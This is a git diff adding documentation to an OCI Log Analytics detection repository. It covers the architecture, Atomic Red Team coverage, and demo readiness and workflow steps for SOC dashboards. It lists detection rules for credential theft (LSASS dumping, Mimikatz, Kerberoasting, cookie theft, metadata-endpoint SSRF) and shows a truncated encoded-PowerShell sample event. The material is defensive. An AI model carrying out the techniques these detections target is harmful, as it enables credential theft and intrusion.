downstream tooling | +| `queries/dashboard_inventory.json` | Dashboard/widget inventory | 1 | Generated from `DASHBOARDS`; use this for dashboard UI mapping | +| `queries/content_candidates.json` | Threat-intel/detection-candidate inventory | 1 | Generated by `scripts/content_discovery.py`; review surface only | +| `queries/log_source_field_dictionary.json` | Parser/source/display-field dictionary | 1 | Generated by `scripts/field_dictionary.py` | +| `queries/detection_rule_specs.json` | Scheduled-search detection-rule specs | 1 | Generated by `scripts/detection_rule_creator.py --write-default` | +| `queries/octo_apm_workshop_bundle.json` | Scoped Octo APM workshop bundle | 1 | Generated by `scripts/octo_apm_workshop.py --export-bundle`; variable-safe deployment input for `octo-apm-demo` | +| `queries/sentinel_conversion_report.json` | Sentinel conversion report | 1 | Generated by `scripts/sentinel_conversion_workflow.py promote`; not a saved search | +| `docs/sentinel_converter.html` | Sentinel static review page | 1 | Generated by `scripts/sentinel_conversion_workflow.py page` | +| `queries/manifest.json` | Export/integration manifest | 1 | Generated artifact for multicloud export, not the canonical inventory | + +Important distinction: + +- There are **476 Sigma-derived OCI query artifacts** in total. +- Those 476 are split across **468 top-level detections** in `queries/` and **8 browser/app telemetry detections** in `queries/apps/`. +- The repo also ships **145 curated analytics** that are not Sigma-derived: 47 app/APM telemetry analytics and 98 hunting queries. +- The repo also ships **60 live-validated Microsoft Sentinel conversions** in `queries/sentinel/`. + +## Architecture Flow + +```text +rules/** ------------------------------------------+ + | + v + scripts/convert_sigma.py + - field/logsource mapping + - stable filename reuse via sigma_id + - browser rule routing to queries/apps/ + - metadata preservation for curated JSON + | + +-------------------------+-------------------------+ + | | + v v + queries/*.json queries/apps/*.json + 468 generated detections 8 Sigma-derived browser queries + +queries/apps/*.json (47 curated app/APM analytics) ---+ +queries/hunting/*.json (98 curated analytics) --------+----> scripts/generate_catalog.py + - CATALOG.md + - queries/catalog.json + - inventory/coverage summary + +official Azure/Azure-Sentinel cache ----------------------> scripts/sentinel_conversion_workflow.py + - queries/sentinel/*.json + - queries/sentinel_conversion_report.json + - docs/sentinel_converter.html + +queries/** -----------------------------------------------> scripts/export_for_multicloud.py + - queries/manifest.json + - downstream integration payload + +queries/** -----------------------------------------------> scripts/deploy_dashboard.py + - 29 dashboards + - 441 embedded saved searches + - queries/dashboard_inventory.json + +threat-intel/gap references ------------------------------> scripts/content_discovery.py + - queries/content_candidates.json + +scripts/setup_log_sources.py + synthetic contracts --------> scripts/field_dictionary.py + - queries/log_source_field_dictionary.json + +queries/** -----------------------------------------------> scripts/detection_rule_creator.py + - queries/detection_rule_specs.json + +Octo APM scope -------------------------------------------> scripts/octo_apm_workshop.py + - queries/octo_apm_workshop_bundle.json + - test_data/octo_apm_workshop_application_logs.jsonl +``` + +## Design Invariants + +- `rules/**` is the authoring layer. Do not treat generated JSON as the primary source for source-derived detections. +- `sigma_id` is the durable identity for generated detections. Generated filenames should remain stable even if titles change. +- Rules under `rules/web/browser_attacks/` intentionally publish into `queries/apps/` because they execute against `SOC Application Logs`, a custom app/browser telemetry surface rather than the top-level server-side detection surface. +- Sentinel converted content under `queries/sentinel/` is source-derived but not Sigma-derived. Its durable identity is `sentinel_id` plus `sentinel_source_path`, and each promoted query must carry `source_type: microsoft_sentinel`, `conversion_status: promoted`, and `live_validation_status: passed`. +- `queries/catalog.json` is the canonical inventory for documentation, exports, and automation. +- `queries/dashboard_inventory.json` is the dashboard-facing contract generated from `scripts/deploy_dashboard.py:DASHBOARDS`. +- `queries/content_candidates.json`, `queries/log_source_field_dictionary.json`, `queries/detection_rule_specs.json`, `queries/octo_apm_workshop_bundle.json`, and `queries/sentinel_conversion_report.json` are additive generated engine artifacts. They are not runnable saved-search query files and query walkers must skip them. +- `docs/sentinel_converter.html` is a static review page for humans. Automation should read the JSON report and catalog instead of scraping the page. +- `queries/manifest.json` is an integration artifact. It should be regenerated from the current queries, but it is not the canonical source for published counts. +- Streaming, Service Connector Hub, Resource Manager, and manifest export scripts are runtime support. They should not become the source of truth for query, dashboard, or catalog state. +- `logandetectionqueries/` and `logandetectionrules/` are legacy empty directories and should not be consumed by tooling. + +## Application Telemetry Surface + +`scripts/setup_log_sources.py` creates the `SOC Application Logs` source and parser used by the browser/app dashboards. The parser maps OpenTelemetry-shaped JSON onto OCI Log Analytics fields such as: + +- `Service Name` +- `Trace ID` +- `Request URL` +- `Response Code` +- `Span Name` +- `Span Attributes` +- `Span ID` +- `Parent Span ID` +- `Span Kind` +- `APM Domain` +- `Metric Name` +- `Metric Value` +- `Metric Unit` +- `Referrer` + +This keeps the query layer stable even when the raw event producer is browser JavaScript, an application service, APM-shaped span/metric exports, or a generated synthetic NDJSON dataset under `test_data/`. The setup script audits the target namespace before creating fields; exact display-name matches are reused in parser mappings, and differently named semantic aliases are reported as rewrite candidates rather than applied automatically. + +## Source Routing and Parser Choice + +OCI Log Analytics ships native parsers for common log shapes (OCI Audit Logs, OCI Cloud Guard Problems, Linux Secure Logs, Windows Sysmon Events). These native parsers are minimalist: they project a small set of canonical fields and ignore everything else. Detection queries that filter on richer fields (`Process Name`, `Command Line`, `Problem Name`, `Granted Access`, `Pipe Name`) only match if the data was parsed by a SOC custom JSON parser whose field map declares those columns. + +The repository therefore maintains four parallel routing decisions in `scripts/oci_config.py:SOURCE_CANDIDATE_GROUPS`: + +| Dataset | First-choice source | Why | +|---|---|---| +| `oci_audit.jsonl` | `OCI Audit Logs` (native) | Native parser is rich enough; SOC custom parser not needed | +| `cloud_guard.jsonl` | **`SOC Cloud Guard Logs`** (custom) | Native parser does not extract `problemName` into `Problem Name` | +| `linux_secure.jsonl` | **`SOC Linux Syslog Logs`** (custom) | Native parser does not extract `Command Line` from custom JSON | +| `linux_syslog.jsonl` | `SOC Linux Syslog Logs` (custom) | Same | +| `windows_sysmon.jsonl` | `SOC Windows Sysmon Logs` (custom) | SOC parser maps Sysmon-native PascalCase + LA display names | +| `vcn_flow.jsonl` | **`SOC VCN Flow Logs`** (custom) | SOC parser maps OCI VCN Flow nested `data` fields and byte counts | +| `network_firewall.jsonl` | **`SOC Network Firewall Logs`** (custom) | SOC parser maps Network Firewall `logContent.data` traffic/threat fields | + +Reversing the candidate ordering silently breaks detection queries because data lands in a source whose parser does not expose the fields they reference. `docs/MONITORING.md` documents this contract so it cannot be quietly undone. + +## OCI LA Query Authoring Caveats + +A handful of OCI LA SEARCH/LAQL behaviours have produced silent-zero MISSes during dashboard rollouts. They are pinned here so future contributors do not retrace them: + +1. **String-typed fields reject unquoted numeric comparisons.** `'Event ID' = 1` returns HTTP 400 against an OCI LA String field. Always quote the value: `'Event ID' = '1'`. Applies to `Event ID`, `Logon Type`, `Response Code`, `Status`, etc. +2. **Status field projection differs by parser.** Native OCI Audit projects `Status='200'` (HTTP code); SOC custom parser may project `Status='Success'`. Sigma rules that filter `status: Success` should use list syntax `status: [Success, '200']` so they match in both worlds. +3. **LIKE on multi-word phrases tokenises on whitespace.** `'%manage all-resources%'` returns zero against text that obviously contains `manage all-resources`. Use `'%manage*resources%'` (wildcard between the words) instead. The `OCI: Admin Policy - Manage All` widget query is the canonical example. +4. **`Original Log Content` is truncated at ~1024 chars.** Detection keywords near the end of the raw envelope (e.g. `data.response.payload.statements`) are not searchable. Surface the keyword inside `data.additionalDetails` or `resourceName` so it falls within the truncation window. +5. **`fields` does not project String values that the parser flagged but did not extract.** A query like `fields 'Resource Name' | head 5` may return blank Resource Name even when `'Resource Name' != ''` matches the same record — the field is registered against the parser schema but its value extraction is empty. Cross-check with the raw `msg` projection instead. +6. **Windows backslashes must be escaped before OCI LA sees the query.** `convert_sigma.py` now doubles literal backslashes in string selectors and converts exact `PipeName` matches into wildcard `LIKE` patterns. Any full generated-query sweep should still run local query validation and live dashboard verification before replacing curated pipe-query JSON. +7. **Sentinel local conversion is not promotion.** The Sentinel pipeline first produces locally clean Logan QL, then runs live OCI parser validation. Only live-passing queries are written to `queries/sentinel/*.json`. Failed live candidates stay in `queries/sentinel_conversion_report.json`. +8. **Sentinel placeholder and KQL-only leftovers are blocked before promotion.** The converter rejects unresolved placeholders (`{{...}}`, `GOES HERE`, `REPLACE_ME`, colon parameters), unsupported functions such as `strlen`, `toint`, and raw `int(...)`, and unsupported operators such as `join`, tabular `let`, regex extraction, JSON bag expansion, and `mv-expand`. + +## Capability Inventory + +- Source rule coverage: + - Windows: 249 + - Cloud/OCI: 100 + - Linux: 67 + - Web/WAF: 38 +- Combined query inventory: + - 678 total query artifacts/content items + - 60 live-validated Microsoft Sentinel conversions + - 231 MITRE ATT&CK techniques across 14 tactics + - 24 STIG-mapped detections across 12 controls +- Dashboard layer: + - 29 dashboards + - 441 widget-backed saved searches + - 107 advanced visualization widgets (`tile`, `summary_table`, `line`, `bar`, `link`, and `map`) +- Demo/test data: + - 17 NDJSON files + - 221,078 sample events in the latest generated local 21-day `test_data/manifest.json` + - `test_data/` is ignored by git and should be regenerated before a fresh OCI ingest +- Streaming/runtime surface: + - 5 configured SOC detection streams validated end-to-end + - `soc-detection-multicloud-health` is active in the current environment + +## Validation Pipeline + +Use these commands as the baseline release/verification loop: + +```bash +python3 scripts/setup_log_sources.py +python3 scripts/field_dictionary.py +python3 scripts/content_discovery.py +python3 scripts/convert_sigma.py +python3 scripts/detection_rule_creator.py --write-default +python3 scripts/sentinel_conversion_workflow.py page +python3 scripts/generate_catalog.py +python3 scripts/deploy_dashboard.py --export-inventory +python3 scripts/export_for_multicloud.py --manifest-only +python3 scripts/generate_dashboard_data.py --days 21 --geo-interval 15 --validate +python3 scripts/ingest_test_data.py --validate +python3 scripts/audit_rule_quality.py --report docs/RULE_QUALITY_REPORT.md +python3 scripts/deploy_dashboard.py --dry-run +python3 -m pytest -q +python3 -m compileall scripts +``` + +For the full local release gate, run: + +```bash +python3 scripts/release_checklist.py +``` + +Use these live OCI checks when validating the deployed environment: + +```bash +python3 scripts/setup_streaming_pipeline.py +python3 scripts/validate_pipeline.py --e2e +python3 scripts/verify_caldera_detections.py --operation discovery --lookback 60d +python3 scripts/smoke_test_bluelight.py --lookback 24h +python3 scripts/inventory_dashboards.py --json /tmp/dash_inventory.json +python3 scripts/verify_deployed_dashboards.py --lookback 21d --query-timeout 90 --json /tmp/dash_health.json +python3 scripts/daily_health_check.py --lookback 21d +``` + +`daily_health_check.py` chains the inventory + smoke + verifier into a single banner with an exit-coded JSON report under `docs/health/`. Recommended cadence: run weekly (or as a scheduled background routine) and on every deploy. The current repository inventory resolves locally to 29 dashboards / 441 saved searches, including 5 Sentinel dashboard groups. The latest `` deployment covers all 441 widgets across the 29 dashboards (deploy-time validation 410/410 unique queries, 0 errors; live `parse_validate_all_queries` 681/681 PASS); Sentinel queries are separately live-parser-gated in `queries/sentinel_conversion_report.json`. `hunting/oci_iam_fusion_activity_correlation.json` remains cataloged for Fusion-enabled tenancies but is not deployed in this demo tenancy because no Fusion Apps source exists. + +Previous local verified state on 2026-04-28 before the current catalog expansion: + +- Rule quality audit: 0 issues +- Unit tests: 483 passing +- Dashboard dry-run: 29 dashboards / 441 saved searches resolved +- Dashboard validation: 681 query files OK +- Dashboard deploy: 410/410 unique OCI queries validated (21-day lookback), 29 dashboards imported, 441 embedded saved searches +- Ingest validation: 14 datasets and log source mappings passed +- Log-source pre-flight validation: passed +- BLUELIGHT live smoke test: 17/17 widgets returned rows with a 24-hour lookback + +Previously live-verified on 2026-04-15: + +- Pipeline E2E validation: passed +- Caldera discovery verification: 3/3 queries matched +- Log-source setup: parsers and sources aligned with no missing Windows Sysmon fields +- Streaming pipeline reconciliation: 5/5 SOC connectors active + +Current runtime note: + +- `validate_pipeline.py` derives expected streams and connector names from `config/streaming_config.json`, so the multicloud-health path is verified alongside the core SOC streams. +- Direct NDJSON ingestion and the SOC streaming pipeline are both operational. +- `deploy_dashboard.py` defaults dashboard widgets to `l21d` to match the three-week dataset; the full demo deploy also passes `--query-lookback 21d` for deploy-time validation before importing saved searches. Individual widgets may override with a shorter window via query or widget metadata. + +## Integrated Forge Webapp + +`webapp/` is the maintained Forge UI for this content library. It exposes `/forge` as the only browser product route, consumes generated artifacts from this repository, and calls `/api/forge/convert` for conversion behavior. + +The webapp reads these artifacts through server-side typed loaders: + +- `queries/logan_ql_reference_catalog.json` +- `queries/cross_ql_mapping_patterns.json` +- `queries/conversion_examples.json` +- `queries/catalog.json` +- `queries/dashboard_inventory.json` +- `test_data/manifest.json` + +Deployment and security notes are tracked in `docs/WEBAPP.md` and `webapp/deploy/oke/README.md`. + +The webapp must not duplicate Sigma conversion, Sentinel promotion, dashboard deployment, or query catalog generation. + +## Contribution Model + +Use the surface that matches the content you are adding: + +- New source-derived detections: + - Add Sigma YAML under `rules/**` + - For browser-side detections, place the rule under `rules/web/browser_attacks/` +- New curated app analytics: + - Add JSON under `queries/apps/` + - Do not add a `sigma_id` unless the file is source-derived +- New hunting analytics: + - Add JSON under `queries/hunting/` +- New Sentinel conversion coverage: + - Extend `config/sentinel_oci_mapping.yaml` only with real OCI Log Analytics source and field mappings + - Add converter regression tests under `scripts/test_sentinel_converter.py` + - Use `scripts/sentinel_conversion_workflow.py local` before live promotion + - Promote with live validation before regenerating catalog and dashboard inventory + +After changes, regenerate the catalog and rerun the validation pipeline so published inventory and dashboard references stay aligned. diff --git a/observability-and-management/assets/oci-log-analytics-detections/docs/ART_COVERAGE_REPORT.md b/observability-and-management/assets/oci-log-analytics-detections/docs/ART_COVERAGE_REPORT.md new file mode 100644 index 000000000..844ccc797 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/docs/ART_COVERAGE_REPORT.md @@ -0,0 +1,108 @@ +# Atomic Red Team Coverage Report + +> **280/317** testable rules have ART tests (**88%** coverage) | 3208 total test mappings + +## Coverage by Platform + +| Platform | Rules | With Tests | Coverage | Total Tests | +|----------|-------|------------|----------|-------------| +| Windows | 250 | 215 | 86% | 2536 | +| Linux | 67 | 65 | 97% | 672 | + +## Coverage by MITRE Tactic + +| Tactic | Rules | With Tests | Coverage | +|--------|-------|------------|----------| +| Initial Access | 8 | 5 | 62% | +| Execution | 62 | 59 | 95% | +| Persistence | 42 | 40 | 95% | +| Privilege Escalation | 21 | 19 | 90% | +| Defense Evasion | 69 | 65 | 94% | +| Credential Access | 51 | 38 | 75% | +| Discovery | 22 | 17 | 77% | +| Lateral Movement | 19 | 17 | 89% | +| Collection | 14 | 11 | 79% | +| Command & Control | 20 | 17 | 85% | +| Exfiltration | 6 | 5 | 83% | +| Impact | 13 | 12 | 92% | + +## Techniques Without ART Tests + +29 techniques in our rules have no matching ART tests: + +- `T1012` +- `T1016` +- `T1055.008` +- `T1055.013` +- `T1068` +- `T1086` +- `T1090` +- `T1102` +- `T1110.003` +- `T1114` +- `T1134` +- `T1189` +- `T1190` +- `T1203` +- `T1204` +- `T1497` +- `T1539` +- `T1542` +- `T1552.005` +- `T1555.004` +- `T1556` +- `T1557` +- `T1558` +- `T1561` +- `T1565.001` +- `T1567.002` +- `T1568.002` +- `T1573.002` +- `T1574.002` + +## Rules Without ART Tests + +37 testable rules have no ART test mappings: + +| Rule | Platform | Techniques | +|------|----------|------------| +| BLUELIGHT RAT: Browser Spawning Suspicious Child Process | windows | T1203 | +| BLUELIGHT RAT: Browser Credential Memory Access | windows | T1555.003 | +| BLUELIGHT RAT: Internet Explorer Drive-by Compromise | windows | T1189 | +| BLUELIGHT RAT: File Discovery from Browser Process | windows | T1083 | +| BLUELIGHT RAT: C2 via Microsoft Graph API | windows | T1071.001 | +| BLUELIGHT RAT: Executable Download via Graph API | windows | T1105 | +| BLUELIGHT RAT: Obfuscated Script Execution | windows | T1027 | +| BLUELIGHT RAT: Data Exfiltration via OneDrive/Graph API | windows | T1567.002 | +| BLUELIGHT RAT: Registry Enumeration of Security Products | windows | T1012 | +| BLUELIGHT RAT: Periodic Screen Capture | windows | T1113 | +| BLUELIGHT RAT: WMI System Enumeration from Browser Child | windows | T1082 | +| BLUELIGHT RAT: YARA Chrome/Edge Cookie Theft (APT_MAL_Win_BlueLight_B) | windows | T1539, T1555.003, T1114 | +| BLUELIGHT RAT: YARA Google App C2 Communication (APT_MAL_Win_BlueLight_B) | windows | T1071.001, T1102 | +| BLUELIGHT RAT: YARA Keylogger Component (APT_MAL_Win_BlueLight_B) | windows | T1056.001 | +| BLUELIGHT RAT: YARA PDB Path Indicators (APT_MAL_Win_BlueLight) | windows | T1204.002 | +| BLUELIGHT RAT: YARA System Reconnaissance JSON (APT_MAL_Win_BlueLight) | windows | T1082, T1016, T1057 | +| Brute Force: Failed Logon Spike per Account | windows | T1110.001, T1110.003 | +| Credential Manager: High-Frequency Credential Read | windows | T1555.004 | +| DCSync: Directory Replication from Non-Domain Controller | windows | T1003.006 | +| Disk Wipe via Format Command | windows | T1561 | +| DLL Side-Loading from Suspicious Directory | windows | T1574.002 | +| Golden Ticket: RC4 Encrypted TGT Request | windows | T1558.001 | +| Kerberoasting: RC4 Encrypted Service Ticket Request | windows | T1558.003 | +| Kerberoasting: SPN Sweep - Multiple Service Tickets from Single Account | windows | T1558.003 | +| Lateral Movement: Account Authenticating from Multiple Sources | windows | T1021.002, T1021.006 | +| Linux Hosts File Modification | linux | T1565.001 | +| Mimikatz: Command and Module Indicators in Process Logs | windows | T1003.001, T1003.006, T1558.003 | +| Mimikatz: Command and Module Indicators in Process Logs | windows | T1003.001, T1003.006, T1558.003 | +| Pass-the-Ticket: Excessive Explicit Credential Logons | windows | T1550.003 | +| PowerShell: Suspicious Command Execution (Real Windows Security Events) | windows | T1059.001, T1086 | +| PrintNightmare Exploitation Attempt | windows | T1068 | +| Privilege Escalation: Sensitive Privileges Assigned to Non-Admin | windows | T1134, T1134.001 | +| Scheduled Task XML Import | windows | T1053.005 | +| Security Group Enumeration: Rapid Membership Queries | windows | T1069.002, T1087.002 | +| SSRF to Cloud Instance Metadata Service (Linux) | linux | T1552.005, T1190 | +| SSRF to Cloud Metadata Endpoint (169.254.169.254) | windows | T1552.005, T1190 | +| Windows DLL Side-Loading via Suspicious Path | windows | T1574.002 | + +--- +*Auto-generated by `scripts/map_atomic_tests.py`* \ No newline at end of file diff --git a/observability-and-management/assets/oci-log-analytics-detections/docs/DEMO_READINESS.md b/observability-and-management/assets/oci-log-analytics-detections/docs/DEMO_READINESS.md new file mode 100644 index 000000000..22b0f1ca8 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/docs/DEMO_READINESS.md @@ -0,0 +1,170 @@ +# Demo Readiness + +This is the shortest path to a reliable demo when the goal is broader than security. + +## Fast Path + +For the current dashboard-first demo state, use the 21-day generation, ingest, deploy, and verify flow: + +```bash +python3 scripts/setup_log_sources.py +python3 scripts/generate_dashboard_data.py --days 21 --geo-interval 15 --validate +python3 scripts/ingest_test_data.py --validate +python3 scripts/ingest_test_data.py --mode direct +python3 scripts/deploy_dashboard.py --cleanup --skip-live-validation --query-lookback 21d --query-timeout 90 +python3 scripts/verify_deployed_dashboards.py --lookback 21d --query-timeout 90 --max-workers 4 --json docs/health/verify-default-21d-2025-2026.json +``` + +This is the canonical refresh path because it: + +- regenerates the synthetic datasets for a 21-day threat-hunting window +- validates the dataset contracts +- uploads all demo data into OCI Log Analytics +- cleans up and redeploys the dashboards and saved searches +- runs live readiness checks against the same 21-day window +- validates every deployed dashboard saved search in OCI Log Analytics after import + +## Current Verified State + +Live deployment evidence in the `` OCI profile (``): + +- Local update: `221,078` synthetic events across `17` JSONL datasets generated from `scripts/generate_dashboard_data.py --days 21 --geo-interval 15 --validate` plus the scoped Octo APM workshop generator, including FreeLabFriday vsagent, domain-fronting, port-knocking evidence, the web-to-cloud and Windows AD/GOAD attack sequences, the 2025-2026 MELTS scenarios, and `octo-apm-demo` APM span/metric samples. +- `16/16` standard datasets pass `scripts/ingest_test_data.py --validate`; the scoped Octo APM workshop dataset is optional in the ingest manifest and was uploaded by `deploy_octo_apm_workshop.sh` to `` and `` +- Current repository inventory: `29` dashboards and `441` active dashboard saved searches +- Final live health evidence is stored in `docs/health/all-dashboard-verify.json` +- ``: `441` dashboard widgets deployed, `0` render/query errors (live `parse_validate_all_queries` 681/681 PASS; deploy-time validation 0 failed) +- `DEFAULT`: redeploy and reverify before presenting this profile with the current 22-dashboard inventory +- The Fusion correlation query remains cataloged for Fusion-enabled tenancies but is not deployed in this demo tenancy because no Fusion Apps source exists. +- `scripts/verify_deployed_dashboards.py --lookback 21d --query-timeout 90 --max-workers 4 --json docs/health/verify--21d-2025-2026.json` is the current final gate for both `` and `DEFAULT` +- `scripts/setup_log_sources.py`: SOC/native-compatible sources exist in the target compartment; `SOC Application Logs` includes APM span and metric fields used by the Octo dashboard + +The current dashboard configuration resolves to `29` dashboards and `441` active saved searches after adding the Octo APM trace investigation Link/Tiles widget. Dashboard widgets default to `l21d` to match the three-week demo dataset; individual widgets may override with a shorter window via query or widget metadata. Use `populate_dashboard_data_14d.py --validate` only when you intentionally need the legacy extended-data helper. + +## Demo Story + +Lead with three connected views: + +1. `SOC: Geographic Health Dashboard` + Show real multicloud visibility across OCI, Azure, AWS, and GCP. + Use this as the opening proof that the platform sees all CSPs, not just one telemetry island. + +2. `OCI-DEMO: Application 360 Monitoring Dashboard` + Show performance and availability before security: + - request rate + - error rate + - slow requests + - service lifecycle timeline + - DB performance correlation + - cross-service trace correlation + +3. `OCI-DEMO: Octo APM Demo Dashboard` + Show dedicated APM evidence for `octo-apm-demo`: + - RED metrics + - request/error timeline + - trace-to-log correlation + - span link analysis + - metric samples and database spans + - Java sidecar errors, API Gateway edge decisions, payment threats, OSQuery host evidence, and compromised VM pivots + +4. Security correlation views + Use them as pivots off the performance story, not as the whole demo: + - `App: WAF Signal Correlation` + - `App: OWASP Attack Detection` + - `Browser Attack Detection Dashboard` + - `C2 & Beaconing Detection` + - `SOC: FreeLabFriday Threat Hunting Dashboard` + - `SOC: 2025-2026 Threat Hunting Dashboard` + +5. `SOC: Web-to-Cloud Threat Hunting Dashboard` + Use this as the full incident drilldown: + - entry request and SSRF evidence + - compromised machines + - compromised OCI service identity + - VCN egress and Network Firewall C2 + - exfiltrated object and destination IP + +6. `SOC: 2025-2026 Threat Hunting Dashboard` + Use this for modern attack drilldowns: + - MELTS signal overview and timeline + - ClickFix and CrashFix endpoint execution + - SharePoint ToolShell web path + - RMM remote access activity + - AiTM token replay and exfiltration evidence + +## Pre-demo checks + +Run these in order: + +```bash +python3 scripts/generate_dashboard_data.py --days 21 --geo-interval 15 --validate +python3 scripts/ingest_test_data.py --validate +python3 scripts/deploy_dashboard.py --dry-run +python3 -m unittest discover -s scripts -p 'test_*.py' +``` + +If you only need a dry check before touching OCI, run: + +```bash +python3 scripts/validate_synthetic_logs.py +python3 scripts/deploy_dashboard.py --dry-run +python3 scripts/demo_readiness.py --dry-run +``` + +After ingest, confirm widget health end-to-end: + +```bash +python3 scripts/inventory_dashboards.py +python3 scripts/verify_deployed_dashboards.py --lookback 21d --query-timeout 90 +python3 scripts/daily_health_check.py --lookback 21d +``` + +`daily_health_check.py` chains the inventory + smoke + verifier into one banner with a JSON report under `docs/health/`. Exit codes feed CI gates (0 = OK, 1 = MISS, 2 = ERROR, 3 = auth fail). + +## What must be true for tomorrow + +- Multicloud health data is present for `OCI`, `Azure`, `AWS`, and `GCP` +- App 360 queries return rows for: + - throughput + - error rate + - slow requests + - cross-service traces + - DB correlation +- At least one correlation path is demoable end to end: + - slow request -> trace correlation -> DB target + - app request -> WAF signal -> attack source IP + - degraded region -> provider summary -> unhealthy region detail + - WAF SSRF -> app host -> VCN egress -> firewall alert -> OCI Audit object read + - ClickFix -> CrashFix Python RAT -> RMM relay -> VCN/Firewall exfiltration + +## Recommended sequence + +1. Start with `SOC: Geographic Health Dashboard` + Message: "We have one operational view across all CSPs." + +2. Move to `OCI-DEMO: Application 360 Monitoring Dashboard` + Message: "We can explain why users are unhappy, not just whether attackers are active." + +3. Show `App: Cross-Service Trace Correlation` + Message: "The same transaction can be followed across services." + +4. Show `App: DB Performance Correlation` + Message: "Database context is tied back to application traces and logs." + +5. Move to `OCI-DEMO: Octo APM Demo Dashboard` + Message: "The Octo APM view correlates logs, APM-shaped spans, and metrics through shared trace and span fields." + +6. Show `App: WAF Signal Correlation` + Message: "Security is part of the same operational story, not a separate console." + +6. Show `SOC: Web-to-Cloud Threat Hunting Dashboard` + Message: "Now we can follow one incident end to end from web entry to cloud data exfiltration." + +7. Show `SOC: FreeLabFriday Threat Hunting Dashboard` + Message: "The same analytics surface can pivot through source-attributed training scenarios: DNS C2, BITS/cloud exfiltration, domain-fronted C2, vsagent beaconing, credential stuffing, rogue user creation, and port knocking." + +8. Show `SOC: 2025-2026 Threat Hunting Dashboard` + Message: "Modern attack hunting starts with MELTS correlation, then drills into ClickFix, CrashFix, ToolShell, RMM, token replay, compromised machines, and exfiltrated data." + +## Hard limit + +Synthetic datasets now pass explicit schema contracts and the 21-day dashboard verification path in OCI. Perfect fidelity to every real tenant log format still requires captured raw samples from the target OCI, Azure, AWS, and GCP environments. Use `scripts/validate_synthetic_logs.py` and the live OCI audits as confidence checks, not as proof of 100 percent production parity. diff --git a/observability-and-management/assets/oci-log-analytics-detections/docs/DEMO_WORKFLOW.md b/observability-and-management/assets/oci-log-analytics-detections/docs/DEMO_WORKFLOW.md new file mode 100644 index 000000000..7b29509bb --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/docs/DEMO_WORKFLOW.md @@ -0,0 +1,475 @@ +# OCI Log Analytics Advanced Detection — Demo Workflow + +Date: 2026-05-12 +Audience: Demo operators, SOC analysts, security architects, platform engineers + +## Overview + +This document provides a step-by-step demo workflow showcasing OCI Log Analytics advanced detection capabilities deployed as part of the OCI-DEMO platform. The demo covers seven scenarios across 55-65 minutes, progressing from foundational SOC operations to advanced APT threat hunting, browser/application telemetry detection, an end-to-end web-to-cloud incident drilldown, and 2025-2026 MELTS-based attack hunting. + +## Current Operator Shortcut + +Before the demo, refresh the tenancy with the current dashboard-first path: + +```bash +python3 scripts/setup_log_sources.py +python3 scripts/generate_dashboard_data.py --days 21 --geo-interval 15 --validate +python3 scripts/ingest_test_data.py --validate +python3 scripts/ingest_test_data.py --mode direct +python3 scripts/deploy_dashboard.py --cleanup --query-lookback 21d --query-timeout 90 +python3 scripts/verify_deployed_dashboards.py --lookback 21d --query-timeout 90 --json docs/health/verify-default-21d-final.json +``` + +Validated on `2026-05-12` for local generation and live dashboard deployment: + +- `221,078` synthetic events generated across `17` files in the latest local 21-day dataset +- `16/16` standard files pass ingest pre-flight validation and direct upload; the scoped Octo APM workshop JSONL is uploaded by the workshop wrapper +- `29` dashboards and `441` active saved searches resolve from generated inventory after the C2, FreeLabFriday, web-to-cloud, browser, APT, application telemetry, 2025-2026 MELTS, Sentinel, and Octo APM updates +- `` has parser/source setup complete, the updated Octo application/APM dataset uploaded, and the current `441` dashboard-widget baseline deployed and live-validated (parse 681/681 PASS) +- Live health is validated with a 21-day lookback after full cleanup redeploys. Regenerate `docs/health/verify--21d-final.json` and `docs/health/verify-default-21d-final.json` after deploying the current `22`-dashboard inventory. + +The current repository configuration resolves to `29` dashboards and `441` active saved searches. The Octo APM workshop, C2, FreeLabFriday, web-to-cloud, and 2025-2026 drilldown widgets request `l21d` so the full three-week incident remains visible after ingest. + +Use this path before recreating dashboards. `deploy_dashboard.py` validates the generated inventory and every unique dashboard query in OCI Log Analytics before importing dashboards or embedded saved searches. + +## Prerequisites + +| Requirement | Current State | +|-------------|---------------| +| OCI Console access | `https://console..oraclecloud.com` | +| Demo Controls | `https://` | +| Control Plane | `https://` | +| Log Analytics | compartment → Dashboards | +| Test data generated | 221,078 local events across 17 NDJSON datasets | +| Dashboards configured | 29 SOC/demo dashboards + 441 active saved searches | + +--- + +## Demo Scenario 1: SOC Security Overview (5 min) + +**Objective:** Show executive-level cross-domain security posture in one view. + +### Steps + +1. **Open OCI Console** → Observability & Management → Log Analytics → Dashboards +2. **Select compartment:** `` +3. **Open:** `SOC Overview Dashboard` + +**Talking Points:** +- "This is a unified SOC overview pulling security events from OCI Audit, Windows Sysmon, Linux, Cloud Guard, and WAF — all in one dashboard." +- "Each widget represents a detection rule converted from industry-standard Sigma format into OCI Log Analytics Query Language." +- "The repo currently ships 454 source rules, 476 Sigma-derived OCI query artifacts, 47 curated app/APM analytics, 98 hunting analytics, and 231 MITRE ATT&CK techniques across 14 tactics." + +4. **Click into** `SOC: Console Login Failures` — show the OCL query behind it +5. **Show** the hunting widget: `Hunt: SSH Brute Force` — highlight the frequency analysis pattern: + ``` + | stats count as failed_attempts by 'Client Host' + | where failed_attempts > 5 + | sort -failed_attempts + ``` + +**Key Message:** "Every detection rule has full MITRE ATT&CK mapping, STIG compliance tagging, and validated OCL, and the generated catalog keeps the published inventory in sync with the code." + +--- + +## Demo Scenario 2: Windows Endpoint Threat Detection (10 min) + +**Objective:** Demonstrate real-time Windows Sysmon detection with MITRE ATT&CK correlation. + +### Steps + +1. **Open:** `SOC: Windows Security Dashboard` + - Set time range to **Last 21 days** (the dashboards default to `l21d`) + - Point out the widgets are now populated with detection data + +2. **Walk through detections:** + + | Widget | What it detects | MITRE | + |--------|----------------|-------| + | Win: Encoded PowerShell | Base64-encoded commands hiding malicious payloads | T1059.001 | + | Win: Credential Dump (LSASS) | procdump/comsvcs targeting LSASS memory | T1003.001 | + | Win: Certutil Download | LOLBin abuse for payload download/decode | T1105 | + | Win: Shadow Copy Deletion | Ransomware pre-encryption behavior | T1490 | + +3. **Click into** `Win: Encoded PowerShell` → Show the matched events: + ``` + Process Name: powershell.exe + Command Line: powershell.exe -NoProfile -NonInteractive -EncodedCommand SQBFAFgA... + Parent Process Name: cmd.exe + ``` + +4. **Navigate to** `SOC: Windows Advanced Threats Dashboard` + - Show Kerberoasting, Pass-the-Hash, 